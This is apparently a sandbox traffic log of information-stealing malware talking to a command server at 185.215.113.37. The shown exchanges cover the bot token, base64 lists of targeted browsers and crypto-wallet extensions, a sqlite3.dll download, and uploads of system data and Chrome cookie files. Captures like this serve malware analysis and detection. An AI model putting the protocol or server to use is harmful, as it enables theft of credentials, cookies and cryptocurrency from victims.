Oct 8, 2024 05:27:09.089534998 CEST	407	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:08 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 44 4d 33 5a 57 49 34 4f 54 4a 6d 4d 7a 64 6b 4d 6a 6c 6d 59 54 67 35 4e 6a 4e 6c 4d 6d 46 6d 59 6a 59 7a 4d 7a 51 30 59 7a 55 33 4d 47 59 7a 4d 57 4d 30 4d 44 4a 68 5a 6a 4d 77 4d 57 51 32 5a 44 51 30 59 6d 45 31 5a 57 52 6b 4d 7a 51 7a 4d 7a 52 6a 4d 7a 49 32 59 7a 41 33 4e 32 49 79 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZDM3ZWI4OTJmMzdkMjlmYTg5NjNlMmFmYjYzMzQ0YzU3MGYzMWM0MDJhZjMwMWQ2ZDQ0YmE1ZWRkMzQzMzRjMzI2YzA3N2IyfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 8, 2024 05:27:09.091685057 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFB Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="message"browsers------IJEGDBGDBFIJKECBAKFB--
Oct 8, 2024 05:27:09.313982964 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:09 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 8, 2024 05:27:09.314008951 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 8, 2024 05:27:09.315515041 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDB Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="message"plugins------FIIDBKJJDGHDHJKEHJDB--
Oct 8, 2024 05:27:09.536602974 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:09 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 8, 2024 05:27:09.536695957 CEST	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Oct 8, 2024 05:27:09.536709070 CEST	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Oct 8, 2024 05:27:09.536740065 CEST	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Oct 8, 2024 05:27:09.536755085 CEST	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Oct 8, 2024 05:27:09.536767960 CEST	1236	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Oct 8, 2024 05:27:09.536782980 CEST	940	IN	Data Raw: 59 57 78 73 5a 58 52 38 59 32 35 75 59 32 31 6b 61 47 70 68 59 33 42 72 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 Data Ascii: YWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2N
Oct 8, 2024 05:27:09.538717031 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIEBGCBGIDHDGCAKJEB Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="message"fplugins------IIIEBGCBGIDHDGCAKJEB--
Oct 8, 2024 05:27:09.763657093 CEST	335	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:09 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 8, 2024 05:27:09.786732912 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBK Host: 185.215.113.37 Content-Length: 7975 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 05:27:09.786767960 CEST	7975	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 Data Ascii: ------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 8, 2024 05:27:10.520198107 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 05:27:10.859328985 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 05:27:11.079720020 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:10 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 8, 2024 05:27:11.079742908 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 8, 2024 05:27:11.079751968 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 8, 2024 05:27:11.932760954 CEST	1236	IN	DELETE FROM %Q.sqlite_sequence WHERE name=%QDELETE FROM %Q.sqlite_master WHERE tbl_name=%Q and type!='trigger'table %s may not be dropped UNIQUEcannot create a TEMP index on non-TEMP table "%s"table %s may not be indexedviews may not be indexedvirtual tables may not be indexedthere is already a table named %sindex %s already existssqlite_autoindex_%s_%dexpressions prohibited in PRIMARY KEY and UNIQUE constraintsconflicting ON CONFLICT clauses specifiedCREATE%s INDEX %.sINSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);name='%q' AND type='index'table "%s" has more than one primary keyAUTOINCREMENT is only allowed on an INTEGER PRIMARY KEYTABLEVIEW), unknown datatype for %s.%s: "%s"missing datatype for %s.%sAUTOINCREMENT not allowed on WITHOUT ROWID tablesPRIMARY KEY missing on table %smust have at least one non-generated columnCREATE TABLE CREATE %s %.sUPDATE %Q.sqlite_master SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%dCREATE TABLE %Q. [TRUNCATED] Data Raw: Data Ascii:
Oct 8, 2024 05:27:12.430608034 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJ Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; 